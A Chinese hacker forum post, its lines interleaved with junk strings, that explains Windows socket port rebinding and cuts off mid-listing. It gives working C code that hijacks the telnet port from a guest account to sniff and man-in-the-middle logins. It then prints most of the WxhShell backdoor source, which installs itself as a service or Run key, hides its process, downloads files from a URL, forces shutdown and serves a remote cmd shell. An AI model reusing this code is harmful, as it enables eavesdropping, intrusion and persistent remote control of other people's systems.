在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
.$s|T s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
MVU'GHv 9C'+~<l saddr.sin_family = AF_INET;
r
L|BkN mt6uW+t/ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
cW|Zgz8vv #Uk6Fmu] bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
lJQl$Wx^ 7)It1i- 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
\U => 28qWC~/9 这意味着什么?意味着可以进行如下的攻击:
B46H@]d#7K uXW.
(x7"f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
i$<v*$.o j
tkPi)QR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Ty`=U>K| ~322dG 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
i@?<]n (=/L#Yg_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
ScmzbDu D'hr\C^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
z8[|LF-dx yT9RNo/w 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
2o3k=hKS FHPZQC8 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
]qG5Ne_ n~cm?" #include
8i$`oMv[y #include
IG@&l0ARL #include
0_Z|y/I. #include
iP\&fZY_ DWORD WINAPI ClientThread(LPVOID lpParam);
I8wVvs;k int main()
"YU~QOGx@ {
^9~%=k= WORD wVersionRequested;
@9P9U`ZP DWORD ret;
Y `p&*O WSADATA wsaData;
]Lft^,7 BOOL val;
ill' KPy SOCKADDR_IN saddr;
ED_5V@ SOCKADDR_IN scaddr;
T{xo_u{Q int err;
0
9'o SOCKET s;
v8(u9V%?6 SOCKET sc;
|y=F (6Z int caddsize;
ba:^zO^ HANDLE mt;
(j
Q6~1 DWORD tid;
wq`Kyhk wVersionRequested = MAKEWORD( 2, 2 );
s|`)' err = WSAStartup( wVersionRequested, &wsaData );
h/~BUg' if ( err != 0 ) {
Q"_T040B printf("error!WSAStartup failed!\n");
,'DrFlI return -1;
kF~e3A7C }
X(q=,^Mp saddr.sin_family = AF_INET;
~a,' W
9MZ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
m&c(N Olh-(u:9+O saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ON!G{=7 saddr.sin_port = htons(23);
l'8wPmy%N if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i_^NbC {
p%_
:( printf("error!socket failed!\n");
F09AX'nj return -1;
RLX^'g+P }
Gf.o{ val = TRUE;
#u(,#(P'# //SO_REUSEADDR选项就是可以实现端口重绑定的
KftM4SFbK if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Pu*UZcXY {
|W];v@b\y printf("error!setsockopt failed!\n");
X,CFY return -1;
LMj'?SuH }
f=Y9a$.:M //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$ !=:ES //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[<$d@}O //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
8uW:_t]q q9]L!V9Rv if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7u0R=q {
r}Av" ret=GetLastError();
_
9]3S>Rn printf("error!bind failed!\n");
l~c>jm8. return -1;
e!'u{>u }
4'|:SyOm listen(s,2);
J, >PLQAa while(1)
;itg>\p3 {
rmJ847%y` caddsize = sizeof(scaddr);
HKw4}FC* //接受连接请求
a$&6a
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
%*}f<k{6 if(sc!=INVALID_SOCKET)
<7) 6*u {
Lxrn#Z eM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>?FCv7qN if(mt==NULL)
8 z7,W3b {
a}hM}U! printf("Thread Creat Failed!\n");
{627*6, break;
z9w.=[Io }
xK 'IsMo[ }
2a-hf|b1 CloseHandle(mt);
=LA@E&,j }
#E)]7!_XG closesocket(s);
3&:fS|L~c WSACleanup();
qRLypm return 0;
6%1o<{(%f }
T+!kRigN~P DWORD WINAPI ClientThread(LPVOID lpParam)
?!-im*~w {
W<l(C!{ SOCKET ss = (SOCKET)lpParam;
;Nij*-U4~ SOCKET sc;
I/|n
ma/ $ unsigned char buf[4096];
" V2$g SOCKADDR_IN saddr;
C>ZeG
Vq long num;
!-~(*tn DWORD val;
[GM<Wt0 DWORD ret;
^q2zqC //如果是隐藏端口应用的话,可以在此处加一些判断
Fowh3go //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
A[a+,TN{ saddr.sin_family = AF_INET;
P://Zi6> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
S45_-aE saddr.sin_port = htons(23);
9B0"GEwrs if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[hbIv {
s50ln&2 printf("error!socket failed!\n");
#IDCCD^1= return -1;
^123.Ru|t }
w7u >|x! val = 100;
gp2)35 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{*Pp^r {
JnJz{(c
ret = GetLastError();
KYN{iaj return -1;
="K>yUfcFl }
ObzlZP
r@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ry"zec
B {
Df^S77&c! ret = GetLastError();
P#PQ4uK \ return -1;
?Pc3*. }
n
Lb 9$& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>j3N-;o@? {
Bs}>#I printf("error!socket connect failed!\n");
?Q2pD!L{ closesocket(sc);
RGmpkQEp closesocket(ss);
@Iu-F4YT return -1;
?C3cPt" }
<^{: K` while(1)
+6atbbe} {
~O-8 h0d3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=oJiNM5_u //如果是嗅探内容的话,可以再此处进行内容分析和记录
|&7,g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
oJ:J'$W( num = recv(ss,buf,4096,0);
= ;d<Ikj if(num>0)
<&iBR send(sc,buf,num,0);
(z7#KJ1+Aw else if(num==0)
Xg,BK0O break;
:_*Q
IyW num = recv(sc,buf,4096,0);
4fswx@l if(num>0)
`m^OnH send(ss,buf,num,0);
qZe"'"3M else if(num==0)
VWa(@A break;
zdE^v{}| }
/+msrrpD closesocket(ss);
X Rn=;gK%J closesocket(sc);
6Y^o8R return 0 ;
{J$aA6t:"T }
eHR<(8c'f pJ[Q.QxU J7xmf,76w ==========================================================
9K!='u` .2xkf@OP 下边附上一个代码,,WXhSHELL
2X_ef ZI7<E ==========================================================
)RFeF!(" Sqs`E[G* #include "stdafx.h"
_rd{cvdR -}@9lhS, #include <stdio.h>
{W]jVh p #include <string.h>
xFZq6si? #include <windows.h>
s? Kn,6Y #include <winsock2.h>
}T,uw8?f! #include <winsvc.h>
CggEAi~ #include <urlmon.h>
v&n&i? g%trGW3{- #pragma comment (lib, "Ws2_32.lib")
3QpTO, #pragma comment (lib, "urlmon.lib")
Sls>
OIc /Ny&;Y #define MAX_USER 100 // 最大客户端连接数
5oS\uX| #define BUF_SOCK 200 // sock buffer
o6 /?WR 9 #define KEY_BUFF 255 // 输入 buffer
VM[8w` @d\F; o< #define REBOOT 0 // 重启
"|if<hx+ #define SHUTDOWN 1 // 关机
3nO|A: t $$a"A(Y #define DEF_PORT 5000 // 监听端口
tF|bxXsZ h.*|4; #define REG_LEN 16 // 注册表键长度
<T).+
M/ #define SVC_LEN 80 // NT服务名长度
.FU EF) ;/@R{G{+~; // 从dll定义API
W=!f typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
rAKdf?? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*M:Bhw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
DN+`Q{KS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Ju<D7 9!LAAE` // wxhshell配置信息
jJ|;Nwm<[ struct WSCFG {
^ ;a[v^&9 int ws_port; // 监听端口
PO&`rr char ws_passstr[REG_LEN]; // 口令
f@0`, int ws_autoins; // 安装标记, 1=yes 0=no
}MNm>3 char ws_regname[REG_LEN]; // 注册表键名
cF6|IlhO char ws_svcname[REG_LEN]; // 服务名
=R05H2hs char ws_svcdisp[SVC_LEN]; // 服务显示名
jkq+j^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
qb Q> z+c char ws_passmsg[SVC_LEN]; // 密码输入提示信息
'g#GUSXfj int ws_downexe; // 下载执行标记, 1=yes 0=no
{%
P;O ?
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5j]%@]M$Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)7^jq| VI?[8@*Z };
"q$M\jK#V X_lNnk // default Wxhshell configuration
nB.p}k struct WSCFG wscfg={DEF_PORT,
$IHa]9 { "xuhuanlingzhe",
{#vo^& B 1,
SZ_hG D 0 "Wxhshell",
AF@C9s "Wxhshell",
_PIk,!< "WxhShell Service",
tVO x "Wrsky Windows CmdShell Service",
$[Fk>d "Please Input Your Password: ",
5M*p1^ > 1,
4:.M*Dz "
http://www.wrsky.com/wxhshell.exe",
/SiQw7yp% "Wxhshell.exe"
^N]*Zf~N? };
{'1,JwSmb <6@Db$- // 消息定义模块
$Ix^Rm9c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
}^H_|;e1p char *msg_ws_prompt="\n\r? for help\n\r#>";
zSu2B6YU} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Xy._&&pt char *msg_ws_ext="\n\rExit.";
J8jbtL O' char *msg_ws_end="\n\rQuit.";
g0l- n char *msg_ws_boot="\n\rReboot...";
/vu7;xVG char *msg_ws_poff="\n\rShutdown...";
_xJ&p$& char *msg_ws_down="\n\rSave to ";
_/Hu'9432 -a3C3!! char *msg_ws_err="\n\rErr!";
V|7 cdX#H char *msg_ws_ok="\n\rOK!";
yxH[uJpb (f)QEho7 char ExeFile[MAX_PATH];
FEkx&9] int nUser = 0;
9:1ZL_yf HANDLE handles[MAX_USER];
t?\osPL int OsIsNt;
{S?.bT%& W+QI
D/ SERVICE_STATUS serviceStatus;
R&?p^!`% SERVICE_STATUS_HANDLE hServiceStatusHandle;
i[B%:q:& '
{Q L`L // 函数声明
^#nAS2w7U int Install(void);
COap* int Uninstall(void);
'G&w[8mqY int DownloadFile(char *sURL, SOCKET wsh);
%n^]1R# int Boot(int flag);
#r\uh\Cy void HideProc(void);
di|l?l^l int GetOsVer(void);
Cd4G&(= int Wxhshell(SOCKET wsl);
B#=dz,} void TalkWithClient(void *cs);
v"`w'+ int CmdShell(SOCKET sock);
sS._N@f int StartFromService(void);
7*sB"_U2 int StartWxhshell(LPSTR lpCmdLine);
l{<@[foc u!O)\m- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
+:b|I'S VOID WINAPI NTServiceHandler( DWORD fdwControl );
r_QWt1K },l3N K // 数据结构和表定义
}q^CR(h (R SERVICE_TABLE_ENTRY DispatchTable[] =
MD +Q_ {
V[~/sc ) {wscfg.ws_svcname, NTServiceMain},
Lr`yl$6 {NULL, NULL}
(uSfr]89' };
B{44|aq1 | 3o h(d.Z // 自我安装
N)QW$iw9 int Install(void)
@sP?@<C {
Hg]r5Fe/c char svExeFile[MAX_PATH];
;X8eZQ HKEY key;
#jQITS7 strcpy(svExeFile,ExeFile);
a$ Z06j =cxjb,r // 如果是win9x系统,修改注册表设为自启动
[L:,A{rve if(!OsIsNt) {
,+WDa%R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
oYW:ptJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
V[#jrwhA RegCloseKey(key);
7a2uNt,X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]'hz+V31% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qTG/7tn
" RegCloseKey(key);
yJ?6B LJi return 0;
e7-U0rrE }
OF}vY0oiw? }
z&w@67
>j }
LKhUqW else {
y:m Xv<g BRzrtK // 如果是NT以上系统,安装为系统服务
flRok?iF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
gkDB8,C<j if (schSCManager!=0)
f|u!?NGl {
X4gs{kx}| SC_HANDLE schService = CreateService
+5voAx! (
3qP!
(* schSCManager,
y\S}U{*Z' wscfg.ws_svcname,
YH@^6Be9 wscfg.ws_svcdisp,
#}o*1 SERVICE_ALL_ACCESS,
}5`Kn}rY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
s~3"*,3@ SERVICE_AUTO_START,
{>9vm!<[*\ SERVICE_ERROR_NORMAL,
`2G 0B@ svExeFile,
b}WU NULL,
@u?m4v{ NULL,
k*J0K=U| NULL,
d-y8c NULL,
V!uW\i/ NULL
nGq{+
G );
(V&$KDOA if (schService!=0)
? g}G#j {
,VI2dNst\ CloseServiceHandle(schService);
`ml CloseServiceHandle(schSCManager);
U&GSMjqg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Ch>r.OfP strcat(svExeFile,wscfg.ws_svcname);
)m|)cLT& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
f]Xh7m(Gh RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
H>X:#xOA_ RegCloseKey(key);
1
Qln|b8< return 0;
zt6GJz1q }
+xp)la. }
m9 1Gc?c CloseServiceHandle(schSCManager);
@kd`9Yw }
G8}k9?26( }
jBb:) A{MMY{K3 return 1;
qx|~H'UuBN }
\(C6|-:GY UyENzK<%u // 自我卸载
yhc}*BMZ int Uninstall(void)
a[I
: ^S {
mb,\ wZ HKEY key;
;?4EVZ#o %py3fzg if(!OsIsNt) {
T,r?% G{XE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
FN\*x:g RegDeleteValue(key,wscfg.ws_regname);
f}=>c|Do RegCloseKey(key);
QWcQtM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Zjd9@ RegDeleteValue(key,wscfg.ws_regname);
T\q: RegCloseKey(key);
A`71L V% return 0;
>P@g].Q- }
a5caryZ"z }
Y7BmW+ }
gamE^Ee else {
TophV}@B` >cJix
1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
u.;l=tzz if (schSCManager!=0)
VkFMr8@| {
cDS\=Bf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
u:.w/k%+ if (schService!=0)
-Gy=1W`09 {
>e^bq/' if(DeleteService(schService)!=0) {
R"W5R- CloseServiceHandle(schService);
|yS % CloseServiceHandle(schSCManager);
2D UY4Ti return 0;
HA$Xg
j }
%:t! u&:q CloseServiceHandle(schService);
F_G .$aCc }
fJOwE
g| CloseServiceHandle(schSCManager);
b+1!qNuCW# }
qF\w#nG }
/z!Tgs4 r3qKT return 1;
PzOnS }
rU+3~|m MX? *jYl // 从指定url下载文件
?8N^jjG int DownloadFile(char *sURL, SOCKET wsh)
SSxp!E' {
Jr5dw=B gw HRESULT hr;
DSQ2|{ char seps[]= "/";
9TX2h0U? char *token;
+-C.E char *file;
bgLa`8 char myURL[MAX_PATH];
FY<Q|Ov char myFILE[MAX_PATH];
4M#i_.`z h+=IxF4 strcpy(myURL,sURL);
hjyM xg;Q? token=strtok(myURL,seps);
By waD? while(token!=NULL)
%_."JT$v{ {
"}MP {/ file=token;
{]2^b ) token=strtok(NULL,seps);
eAmI~oku }
_K}q%In nrHC;R.nE GetCurrentDirectory(MAX_PATH,myFILE);
u@1 2:U$ strcat(myFILE, "\\");
?VlGTMaS+ strcat(myFILE, file);
k@
<dru send(wsh,myFILE,strlen(myFILE),0);
-L+kt_> send(wsh,"...",3,0);
~m_{&,CA. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n]df)a if(hr==S_OK)
yts@cd`$ return 0;
R2v9gz;W else
!(
>U3N return 1;
LaO8)lqR a*-9n-U@[k }
_V4O#;%? !KMl'kswe: // 系统电源模块
9}%$j int Boot(int flag)
Q,:{(R {
tL3R<' HANDLE hToken;
E*O($tS TOKEN_PRIVILEGES tkp;
`6)(Fk--" )X-'Q - if(OsIsNt) {
+j{(NwsX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
TG[u3Y4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-'Ay(h tkp.PrivilegeCount = 1;
rRg,{:;A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
D'<L6w` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
R\|,GZ!`+ if(flag==REBOOT) {
1~t.2eU G if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]XU4nNi return 0;
HdN5zl,q }
VcGl8~#9 else {
>ei~:z]R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
>MJ#|vO return 0;
E447'aJ }
+q'\rpt }
_aR{B-E else {
ulxfxfd if(flag==REBOOT) {
WW+xU0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-=nk,cYn return 0;
Ie(i1?`A8 }
&nDXn| else {
a M9v if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
L/Q[N^ (^ return 0;
o!:Z?.! }
1l$2T
y+
= }
0u1ZU4+EC QuqznYSY{ return 1;
dpTsTU!\ }
arDl2T,igF "Yh;3tI4* // win9x进程隐藏模块
GQ;0KIN void HideProc(void)
n1J u=C {
kh9'W<tE #m,H1YH
M HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`0\Z*^> if ( hKernel != NULL )
rw,Ylr:3 {
])wdd>' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@>HTbs6W ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
i+h*<){X FreeLibrary(hKernel);
iI{L>
}
<mQXS87 LP6p return;
i}VF$XN }
SK
lvZ
_8a;5hS // 获取操作系统版本
qS#G7~ur>y int GetOsVer(void)
c`soVqT$? {
>=[uLY[aK OSVERSIONINFO winfo;
eJ99 W= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Up{[baWF GetVersionEx(&winfo);
:D*U4<
/u if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=..Bh8P71! return 1;
~f h else
4p,:}h return 0;
sFc \L9 4 }
. :Skc RNi%6A1 // 客户端句柄模块
\IE![=p\w int Wxhshell(SOCKET wsl)
HohCb4do {
!HvA5'|:} SOCKET wsh;
pR$(V4> struct sockaddr_in client;
D`T;j[SsS# DWORD myID;
!BsQJ_H ~Jk&!IE2 while(nUser<MAX_USER)
P9/ (f$ = {
^ +SE_ -+] int nSize=sizeof(client);
7q+D}+ Xf wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
1(gs({ if(wsh==INVALID_SOCKET) return 1;
7v*gwBH ZeP=}0TGjn handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
zY*9M3(X if(handles[nUser]==0)
QWk3y"5n< closesocket(wsh);
YI g(^>sq else
1uAjy(y nUser++;
+nE>)ZH }
E`.xu>Yyj WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A`n>9|R hZx&j{ return 0;
8M99cx*K }
wM+1/[7 4.!1odKp // 关闭 socket
} ?j5V void CloseIt(SOCKET wsh)
@@AL@.* {
w}ji]V} closesocket(wsh);
Zz0bd473k? nUser--;
FJ_7<4ET ExitThread(0);
/eI|m9ke }
G&ck98 0
0N[
:% // 客户端请求句柄
.xN<<+|_v' void TalkWithClient(void *cs)
X`.##S KC {
{y9G
" i"h\*B= SOCKET wsh=(SOCKET)cs;
w:t~M[kTW char pwd[SVC_LEN];
$*ff]># char cmd[KEY_BUFF];
DZSS char chr[1];
:C:6bDQ int i,j;
!Y ,7% AS7L while (nUser < MAX_USER) {
Az&>.* \N9=13W<lK if(wscfg.ws_passstr) {
{ ADd[V if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'z$$ZEz!C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F\m^slsu7= //ZeroMemory(pwd,KEY_BUFF);
z`wIb i=0;
Zw]"p63eMa while(i<SVC_LEN) {
,<v0( wZ(1\
M( // 设置超时
fz(YP=@ZnP fd_set FdRead;
#EH=tJgO|J struct timeval TimeOut;
BU:;;iV8 FD_ZERO(&FdRead);
=W~7fs FD_SET(wsh,&FdRead);
\O5L#dc# TimeOut.tv_sec=8;
Anz{u$0M[ TimeOut.tv_usec=0;
qYK^S4L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
MgXZN{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
o701RG~) csy6_q( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
RlOy,/-< pwd
=chr[0]; 8ymdg\I+L
if(chr[0]==0xd || chr[0]==0xa) { /6')B !&
pwd=0; yaR>?[h
break; 2lTt
} }J# HIE\RG
i++; ]l,D,d81
} "^#O7.oVi+
zjmoIE
// 如果是非法用户,关闭 socket P~j#8cH7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bgxk>Y
} S2$66xr#
{KG}m'lx
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #
EvRm
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7m2iL#5[
1#vu)a1+b
while(1) { 287j,'vR
^B<-.(F
ZeroMemory(cmd,KEY_BUFF); 4fi4F1 f
mkSu
$c
// 自动支持客户端 telnet标准 NNt n
j=0; 90vWqL!
while(j<KEY_BUFF) { ZFtx&vrP
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T8S&9BM7
cmd[j]=chr[0]; L1SX2F8
if(chr[0]==0xa || chr[0]==0xd) { ~O}r<PQ
cmd[j]=0; D_l$"35?
break; zDvV%+RW)
} $MR1
*_\V
j++; pr<u
5
} n9Fq^^?
evyjHc Cx
// 下载文件 RN`TUCQL
if(strstr(cmd,"http://")) { :Qa*-)rs
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \rr"EAk]
if(DownloadFile(cmd,wsh))
Va?]:Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #:?:gY<
else BZ?w}%-MO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JN8Rh
} aT,WXW*
else { y4kn2Mw;
7J);{ &x9h
switch(cmd[0]) { bW`nLiw}%
mnA_$W3~I
// 帮助 TzKM~a#
case '?': { <V^o.4mOg>
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HM% +Y47a
break; U^_\V BAk
} bc(MN8b ]j
// 安装 -C2!`/U
case 'i': {
#w; "s*
if(Install()) n*[ZS[I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3eUi9_s+
else 02,t
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >#h,q|B
break; Yi9Y`~J
} ef'kG"1
// 卸载 [[[C`H@
case 'r': { 2bCfY\k
if(Uninstall()) hJSvx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "mn?*
else Z66Xj-o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3HyOQD"{
break; LVUA"'6V
} `+Nv=vk
// 显示 wxhshell 所在路径 vd%AV(]<LJ
case 'p': { "nz\YQdg
char svExeFile[MAX_PATH]; 8=D,`wog
strcpy(svExeFile,"\n\r"); F > rr.
strcat(svExeFile,ExeFile); ~7b#BXzP
send(wsh,svExeFile,strlen(svExeFile),0); oaj.5hM
break; NnAIL;WS
} (VO'Kd
// 重启 Z(q]rX5"
case 'b': { ]a IHd]B
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _)j\
b
if(Boot(REBOOT)) JL
{H3r&/S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {+lU 4u
else { s17)zi,?4
closesocket(wsh); r`-8+"P
ExitThread(0); T'6`A<`3
} l$5nv5r
break; (&.T
} 1L`V{\_0s
// 关机
,hf W2}
case 'd': { 6D| F1UFU
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]U#of O
if(Boot(SHUTDOWN)) )"?'~ 5A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w<~[ad}
else { <zpxodM@T
closesocket(wsh); +o@:8!IM1
ExitThread(0); 0=&S?J#!
} H`M|B<.
break; dw;<Q
} |[~S&
// 获取shell zHKP$k8
case 's': { C[fefV9g2
CmdShell(wsh); ^U?Ac=
closesocket(wsh); F;_c x
ExitThread(0); 9qDM0'WuU
break; RR=WD -l
} bj`GGxzOb
// 退出 iuj%.}
case 'x': { ]Sj;\Iz
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NU_^*@k
CloseIt(wsh); a;bmlV04
break; 2c]751
} RL&0?OT
// 离开 J<L\IP?%
case 'q': { .<vXj QE
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _#H d2h
closesocket(wsh); >NPK;Vu
WSACleanup(); .,6o):
exit(1); k5>UAea_
break; +8xT}mX
}
<',k%:t
} <b'*GBw$
} ];CIo>
b_(
uhj]le!
// 提示信息 rI\5djiYJ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z#Qe$`4&
} |(l]Xr&O
} [*u\ S
LL);Ym9d
return; khjdTq\\
} ]i075bO/
&KBDrJEX
// shell模块句柄 8g:VfzaHu
int CmdShell(SOCKET sock) 13 h,V]ak
{ 8+Tv@
STARTUPINFO si; %AJ9fs4/
ZeroMemory(&si,sizeof(si)); V5-!w0{
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %h(%M'm?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kIa16m
PROCESS_INFORMATION ProcessInfo; 9:g A0Z
char cmdline[]="cmd"; _1RvK? ;.{
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =p5]r:9W
return 0; _"x%s
} 1.u^shc&|
UUDbOxD^w
// 自身启动模式 f6J]=9jU
int StartFromService(void) s[a\m,
{ v.*fJ
typedef struct $@kOMT
{ >l8?B L
DWORD ExitStatus; qi/k`T
DWORD PebBaseAddress; 74N_> 1!j
DWORD AffinityMask; S@!_{da
DWORD BasePriority; q{G8Po$z'
ULONG UniqueProcessId; }fk3a9j9u
ULONG InheritedFromUniqueProcessId; gFuK/]gzI
} PROCESS_BASIC_INFORMATION; QxPPgn7'
